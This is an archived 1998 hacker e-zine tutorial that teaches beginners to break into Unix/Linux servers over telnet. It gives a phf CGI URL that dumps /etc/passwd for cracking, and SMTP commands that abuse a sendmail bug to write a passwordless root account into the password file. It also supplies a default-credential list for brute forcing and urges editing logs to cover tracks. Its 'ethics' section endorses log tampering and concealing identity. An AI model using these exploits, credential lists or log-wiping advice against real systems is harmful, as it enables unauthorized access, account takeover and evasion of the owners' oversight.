home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CODBRK3.ZIP / cb0208.txt < prev    next >
Text File  |  1998-03-23  |  21KB  |  407 lines

  1.  
  2.  
  3.                         ***Hacking Unix/Linux systems***
  4.                                    Via Telnet
  5.                                 By: Techno Phunk
  6.  
  7. O.k, there has been enough virus writing things in our e-zine and
  8. I finaly descided to jump in and talk a little about hacking
  9. for your first lesson I am going to teach you a LITTLE about
  10. hacking linux/unix system's via telnet, later I will teach more
  11. about telenet (Sprintnet) and direct dialup's, and eventialy
  12. I will teach you how to hack VAX/VMS, but not until you master
  13. Unix/linux should you even ATTEMPT a VAX, belive me, it's for the elite's
  14. only as it is NOT as bugy as linux/unix. anyway a little history on unix.
  15.  
  16.  History
  17. --=====--
  18.  The unix OS originated from AT&T in the early 1970's Because UNIX was able
  19.  to run on diffrent hardware from diffrent vendors, this made developers
  20.  to modify the OS and distribute their own versions. USL's (new makers) system
  21.  V, Berkeley Standar Distibution (DSD, From the university of California,
  22.  Berkley), Xenix, etc are just a few examples. Now on with the show...
  23.  
  24.  The unix system/linux system has been known to have Multiple
  25. exploits that can be used agianst them, one of which is the famous
  26. phf bug: http://www.domain.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  27. this bug of course is almost totaly outdated, exception of alot of the
  28. less known .edu sites, and .gov/.net sites. Of course many other
  29. bugs are also unique to this system such as the Sendmail bug's such
  30. as the one where the software could send mail DIRECTLY to a file
  31. so someone could write a extra acount to the passwd file, and gain
  32. root acces. I personaly have a multitude of exploits that I have
  33. put into my memory and I could use anywhere without refering to any
  34. files. from here on, I will be telling alot more about hacking of
  35. unix systems (and linux, there basicly the same people) from a telnet
  36. platform, what to do, etc....
  37.  
  38. First of all, before hacking a system, examin it, and get all the
  39. info you can get on it, finger them(port 79), Ping them, do whatever
  40. you can  to get all the info possible, think about who the sysop is, etc
  41. just don't do any destruction as this is *LAME*, it makes you a CYBERPUNK
  42. not a hacker, and last but not least it makes people WANT to catch you
  43. and to spend money looking for you, also the FBI/Secret Service won't
  44. take the case unless 1000$ of damages are done.
  45.  
  46. Now then
  47. ------
  48. You need a good telnet program, such as the one that comes with
  49. Win95 or my personal favorite: EWAN, anyway, any telnet software
  50. should be fine. You will also need a ppp/slip/Winsock
  51. connection. If you are on AOL, don't dispare it will work as long
  52. as you use V.3.0 of AOL or above.
  53.  
  54. Now that you have found a good telnet program we can go on...
  55. now somehow you must get a password to this system preferably
  56. to the Sysadmin acount or Root (unfortunatly, the root account can
  57. only be remotly accessed on Redhat linux, and some of the BSD's)
  58. or any of the shell's (if you wish) anyway, there are several
  59. ways to do this. first would be social engeniring, if that is possible
  60. social engenering is quiet simple, all you must do, is trick a person
  61. into giving you information. A leson on Social Engineering will be
  62. covered in the next file (if I get around to it, in this issue)
  63.  Next you can pull an exploit such as the phf bug (if it hasn't allready been
  64. taken off) and if you do
  65. pull the phf bug, if the file looks like this:
  66.  
  67. root:*:0:1:system PRIVILEGED account,,,:/:/usr/bin/sh
  68. daemon:*:1:1:system background account:/:
  69.        ^ notice the star
  70. then forget it, since this file is shaddowed, you will need to try
  71. something else
  72.  
  73. but if it looks sorta like this:
  74. root:WAdadtiA:0:1:system PRIVILEGED account,,,:/:/usr/bin/sh
  75. daemon:dCDa2Hn:1:1:system background account:/:
  76.  
  77. (file will look SOMETHING like this) then you are home free to d/l
  78. this and then run a pw cracker on it, yet this is not hacking yet...
  79. in order for any type of bust in (into a computer) to become a hack
  80. you must learn about the system, how it works and the like, since
  81. hacking is simply a way of gathering information.
  82.  
  83. now if the phf bug or one of the many exploits works, and you get the
  84. UNshadowed PW file, then all you must do is, crack it, write down
  85. or save all the logins and passwords that where found(some do this for you)
  86. I personaly use cracker jack with multiple word lists and now move on to
  87. the next stage which will be picked up on after I tell what to do if this
  88. doesn't work.
  89.  
  90. If no exploits work then your going to have to go with the next
  91. part...Brute forcing and defaults
  92. I will be nice and include one of my personal (ONE of them) lists
  93. that I use for brute forcing. Brute forcing is covered in the latest
  94. issue of 2600 magazine (Volume #14, 3, Autum 1997), but I will explain
  95. this anchient art here too. Brute Forceing is basicly the act of
  96. hamering out passwords at a specific acount name (such as in this
  97. example: sysadmin) until you get in, this is the last resort to
  98. get into a system that seems to have NOOO exploits or wide open
  99. back doors. Brute forcing can be tiediosly done by hand or
  100. simply by a script. The problem with Bruting Unix systems is that
  101. after 3 login attempts (in most casses) will simply log you off, so
  102. you would simply have to see how many chances you have and then
  103. program the script accordingly. Keep in mind that all your activities
  104. are probably going to be loged, so once you get in, modify those logs
  105. to cover up your tracks, or use a program (avialable almost ANYWHERE).
  106. Anyway....here is a list of default passwords and login's to try first
  107. before you attempt a brute force. In most cases this list may work, or
  108. then agian it may not, it just depends on the system admin IQ :).
  109.  
  110. ------------------------------------------------------------------
  111. Login:                          Password:
  112.  
  113. root                                    root
  114. root                                    system
  115. sys                                     sys
  116. sys                                     system
  117. daemon                                  daemon
  118. uucp                                    uucp
  119. tty                                     tty
  120. test                                    test
  121. unix                                    unix
  122. unix                                    test
  123. bin                                     bin
  124. adm                                     adm
  125. adm                                     admin
  126. admin                                   adm
  127. admin                                   admin
  128. sysman                                  sysman
  129. sysman                                  sys
  130. sysman                                  system
  131. sysadmin                                sysadmin
  132. sysadmin                                sys
  133. sysadmin                                system
  134. sysadmin                                admin
  135. sysadmin                                adm
  136. who                                     who
  137. learn                                   learn
  138. uuhost                                  uuhost
  139. guest                                   guest
  140. host                                    host
  141. nuucp                                   nuucp
  142. rje                                     rje
  143. games                                   games
  144. games                                   player
  145. sysop                                   sysop
  146. root                                    sysop
  147. demo                                    demo
  148. SYSTEM                                  OPERATOR
  149. SYSTEM                                  MANAGER
  150. SYSTEM                                  SYSTEM
  151. SYSTEM                                  SYSLIB
  152. OPERATOR                                OPERATOR
  153. SYSTEST                                 UETP
  154. SYSTEST                                 SYSTEST
  155. SYSTEST                                 TEST
  156. SYSMAINT                                SYSMAINT
  157. SYSMAINT                                SERVICE
  158. SYSMAINT                                DIGITAL
  159. FIELD                                   FIELD
  160. FIELD                                   SERVICE
  161. GUEST                                   GUEST
  162. GUEST                                   unpassworded
  163. DEMO                                    DEMO
  164. DEMO                                    unpassworded
  165. TEST                                    TEST
  166.  
  167. Note: unpassworded means to just hit enter when it prompts for a PW
  168. -------------------------------------------------------------------
  169.  
  170. Now then, I will now cover some basic exploits, etc and the brute fource
  171. list will be attached to the bottom of this file.
  172.  
  173. Exploits.
  174. ==========
  175.  
  176. Most exploits covered here are probably not going to work on like the
  177. CIA, or something like that, but thease are clasic and common exploits.
  178. If you want to see more "up to date" exploits I recomend rootshell.com
  179. which has a NICE collection which are useful for some situations.
  180. The following bugs will need you to have at least an IQ of 2 and
  181. telnet/ftp/http/etc programs.
  182.  
  183. First of all I'd like to cover some of the "sendmail exploits"
  184. One of the most famous, but usualy uncommon to work (on up-to-date systems)
  185. in otherwords if the system your hacking is up-to-date and older, and
  186. is updated CONSTANTLY, then chances 10-1 it won't work, but you never
  187. know so TRY IT! never hurts to T-R-Y. When people say "teach me to hack"
  188. I say "Trial-and-error" and that is all, what else do I need to say?
  189. well basicly this exploit takes advantage of Sendmail's ability to
  190. send mail DIRECTLY to files on the host system, e.g TO: /etc/passwd
  191. anyway, what you do is basicly send mail to the passwd file and
  192. then you login with the "unpassworded" root access'ed acount that
  193. you create. Now since I know this is a "newbie" file I will now explain
  194. a bit about sendmail, how to use it, what it is, it's past, future, and
  195. it's role in the Unix/Linux/Bsd enviroment.
  196.  
  197. Sendmail which is a oviosly a SMTP program, SMTP stands for Simple Mail
  198. Transfer Protocule if I am correct (I hit my head many times on walls and
  199. things) anyway, basicly it allows a user to sendmail to any internet
  200. or local user. The Sendmail program like the finger program run on a
  201. certain port, like finger runs on port 79, and is USUALY open for remote
  202. acces, but sendmail (port 25) is ALWAYS open, unless the user doesn't use
  203. sendmail which that is still EXTREEMLY unusual, and only people that I know
  204. that don't run it are fellow hackers. Anyway so in order to access it you
  205. must *TELNET* (remember that program I told you to get) to port 25 of your
  206. target machine, now in order to get the target machines TCP or IP you must
  207. do a whois (or a DNS lookup) now, you may get a dns lookup/whois program
  208. for winblows all you need is a valid internet connection, but I use either
  209. a. a shell acount or b. internic (http://www.internic.com) c. /dns on
  210. mIRC in other words /dns yahoo.com then it will say: Resolved yahoo.com to
  211. then a number which is the IP, now you have the IP/TCP of you target you
  212. must telnet to that 'host'. Now if your smart or like me, you WILL be sure
  213. you know all the information possible about your "target". Back onto
  214. sendmail, now when you first connect it SHOULD say SOMETHING like this:
  215. Sendmail 8.3.2 (host) ready to go....anyway, something like that
  216.  
  217. Once you see this, hit enter (it should report something like unknown command)
  218. this is needed since we are using a telnet program, not a SMTP program.
  219. anyway from here you can explore the commands, type HELP, otherwise hang
  220. with me for a few now from here to pull the exploit you do the following.
  221.  
  222. Mail FROM: root@whatever.com (this could be whatever you want)
  223. RCPT TO: /etc/passwd
  224.  
  225. now if it says "can not send mail directly to files" then forget this exploit
  226. then type:
  227.  
  228. data
  229.  
  230. then it should say something like:
  231.  
  232. Type your message and type a period (".") on a blank line when done
  233. then you type:
  234. Wizard::0:0:Super User:/:/bin/csh
  235. .
  236.  
  237. now it should say mail excepted for delivery
  238. now then you can change Wizard to whatever, but for a beginer, just leave
  239. it. Now since this worked, you may now go threw "normal" telnet (port 23)
  240. and Login would be: Wizard and then password, just hit enter, now wasn't
  241. that easy?
  242.  
  243. Now, one more program you may want to get is called a port scanner
  244. this will find all open ports for you and tell you what they are
  245. now for those with trouble finding one here is a list of "cool" ports
  246. to try out (BTW- this is from my personal collection, I don't remember
  247. however where I got this):
  248.  
  249. note: some of thease will work on some systems, other won't (chance)
  250. -----------------------------
  251.         tcpmux          1/tcp                         # rfc-1078
  252.         echo            7/tcp
  253.         echo            7/udp
  254.         discard         9/tcp           sink null
  255.         discard         9/udp           sink null
  256.         systat          11/tcp          users
  257.         daytime         13/tcp
  258.         daytime         13/udp
  259.         netstat         15/tcp
  260.         qotd            17/tcp          quote
  261.         chargen         19/tcp          ttytst source
  262.         chargen         19/udp          ttytst source
  263.         ftp-data        20/tcp
  264.         ftp             21/tcp
  265.         telnet          23/tcp
  266.         smtp            25/tcp          mail
  267.         time            37/tcp          timserver
  268.         time            37/udp          timserver
  269.         rlp             39/udp          resource      # resource location
  270.         name            42/udp          nameserver
  271.         whois           43/tcp          nicname       # usually to sri-nic
  272.         domain          53/tcp
  273.         domain          53/udp
  274.         mtp             57/tcp                        # deprecated
  275.         bootps          67/udp                        # bootp server
  276.         bootpc          68/udp                        # bootp client
  277.         tftp            69/udp
  278.         gopher          70/tcp                        # gopher server
  279.         rje             77/tcp
  280.         finger          79/tcp
  281.         http            80/tcp
  282.         www             80/tcp
  283.         link            87/tcp          ttylink
  284.         kerberos        88/udp          kdc
  285.         kerberos        88/tcp          kdc
  286.         supdup          95/tcp                        # BSD supdupd(8)
  287.         hostnames       101/tcp         hostname      # usually to sri-nic
  288.         iso-tsap        102/tcp
  289.         x400            103/tcp                       # ISO Mail
  290.         x400-snd        104/tcp
  291.         csnet-ns        105/tcp
  292.         pop-2           109/tcp                       # PostOffice V.2
  293.         pop-3           110/tcp                       # PostOffice V.3
  294.         pop             110/tcp                       # PostOffice V.3
  295.         sunrpc          111/tcp
  296.         sunrpc          111/tcp         portmapper    # RPC 4.0 portmapper UDP
  297.         sunrpc          111/udp
  298.         sunrpc          111/udp         portmapper    # RPC 4.0 portmapper TCP
  299.         auth            113/tcp         ident         # User Verification
  300.         sftp            115/tcp
  301.         uucp-path       117/tcp
  302.         nntp            119/tcp         usenet        # Network News Transfer
  303.         ntp             123/tcp                       # Network Time Protocol
  304.         ntp             123/udp                       # Network Time Protocol
  305.         netbios-ns      137/tcp         nbns
  306.         netbios-ns      137/udp         nbns
  307.         netbios-dgm     138/tcp         nbdgm
  308.         netbios-dgm     138/udp         nbdgm
  309.         netbios-ssn     139/tcp         nbssn
  310.         imap            143/tcp                       # imap ntwrk mail prtcl
  311.         NeWS            144/tcp         news          # Window System
  312.         snmp            161/udp
  313.         snmp-trap       162/udp
  314.         exec            512/tcp                       # BSD rexecd(8)
  315.         biff            512/udp         comsat
  316.         login           513/tcp                       # BSD rlogind(8)
  317.         who             513/udp         whod          # BSD rwhod(8)
  318.         shell           514/tcp         cmd           # BSD rshd(8)
  319.         syslog          514/udp                       # BSD syslogd(8)
  320.         printer         515/tcp         spooler       # BSD lpd(8)
  321.         talk            517/udp                       # BSD talkd(8)
  322.         ntalk           518/udp                       # SunOS talkd(8)
  323.         efs             520/tcp                       # for LucasFilm
  324.         route           520/udp         router routed # 521/udp too
  325.         timed           525/udp         timeserver
  326.         tempo           526/tcp         newdate
  327.         courier         530/tcp         rpc           # experimental
  328.         conference      531/tcp         chat
  329.         netnews         532/tcp         readnews
  330.         netwall         533/udp                       # emergency broadcasts
  331.         uucp            540/tcp         uucpd         # BSD uucpd(8) UUCP serv
  332.         klogin          543/tcp                       # Kerberos authen rlogin
  333.         kshell          544/tcp         cmd           # and remote shell
  334.         new-rwho        550/udp         new-who       # experimental
  335.         remotefs        556/tcp         rfs_server rfs# Brunhoff rem filesys
  336.         rmonitor        560/udp         rmonitord     # experimental
  337.         monitor         561/udp                       # experimental
  338.         pcserver        600/tcp                       # ECD Integrated PCb svr
  339.         mount           635/udp                       # NFS Mount Service
  340.         pcnfs           640/udp                       # PC-NFS DOS Authen
  341.         bwnfs           650/udp                       # BW-NFS DOS Authen
  342.         kerberos-adm    749/tcp                       # Kerberos 5adm/changepw
  343.         kerberos-adm    749/udp                       # Kerberos 5adm/changepw
  344.         kerberos-sec    750/udp                       # Kerberos authen--udp
  345.         kerberos-sec    750/tcp                       # Kerberos authen--tcp
  346.         kerberos_master 751/udp                       # Kerberos authen
  347.         kerberos_master 751/tcp                       # Kerberos authen
  348.         krb5_prop       754/tcp                       # Kerberos slave propaga
  349.         listen          1025/tcp        listener RFS remote_file_sharing
  350.         nterm           1026/tcp        remote_login network_terminal
  351.         kpop            1109/tcp                      # Pop with Kerberos
  352.         ingreslock      1524/tcp
  353.         tnet            1600/tcp                      # transputer net daemon
  354.         mud(2000)      2000/tcp                       ## Diku2 MultiUser Dimen
  355.         cfinger         2003/tcp                      # GNU finger
  356.         nfs             2049/udp                      # NFS File Service
  357.         eklogin         2105/tcp                      # Kerberos encrypT rlogi
  358.         mud(4000)       4000/tcp                      ## Diku2 MultiUser Dimen
  359.         mud(4240)       4240/tcp                      ## Diku2 MultiUser Dimen
  360.         mud(4242)       4242/tcp                      ## Diku2 MultiUser Dimen
  361.         krb524          4444/tcp                      # Kerberos 5 to 4 ticket
  362.         irc(6666)       6666/tcp                      ## Alternate IRC port
  363.         irc             6667/tcp                      # Internet Relay Chat
  364.         irc(6668)       6668/tcp                      ## Alternate IRC port
  365.         dos             7000/tcp        msdos
  366. -------------------------------------------------------------------
  367.  
  368. anyway, now, I won't list many more exploits now as there are millions of them
  369. on the net, expspcialy around http://www.rootshell.com
  370.  
  371. now, I will go into what you do once you are in....
  372.  
  373. commands that are usefull to you at this time are going to be things like:
  374.  
  375. ls                  * list files
  376. cd                  * change DIR note: cd .. goes back, cd / is used instead
  377.                     * of the MS-DOS equivilant: cd\
  378. who                 * who's online
  379. finger              * get info on a user
  380. pico                * one of the text editors
  381. cat                 * display file (like type in Ms-dos)
  382. cc                  * compiler for C programs (exploits ;)
  383.  
  384. that should get you started, note that this should work in C shell and in
  385. korn shells...
  386.  
  387. Now, lastly, I hope that you have learned something from all this...
  388. more info can be found at: http://www.angelfire.com/nc/TechnoPhunk/index.html
  389. under the hacking page. I am trying to get more stuff on it, but there is
  390. some other tutorials and other info there. so be sure to stop by
  391.  
  392. Now, for a word on ethics....
  393. 1. though shalt not change anything except for the logs (to cover yourself)
  394. 2. though shalt not do destruction
  395. 3. don't tell your friends/family/etc that you are a hacker
  396. 4. never tell your real name to other hackers
  397. 5. never leave behind your handle or name on a hacked server
  398. 6. be kind
  399.  
  400. that's about all for this lesson....I relise it was short, and not VERY
  401. informative, but it should give you a start. I hope to cover more on
  402. Unix hacking next time, possibly a bit more on the BSD's and Linux.
  403. Send me sugestions....TechnoPhunk@thepentagon.com
  404.  
  405. - Techno Phunk
  406.  
  407.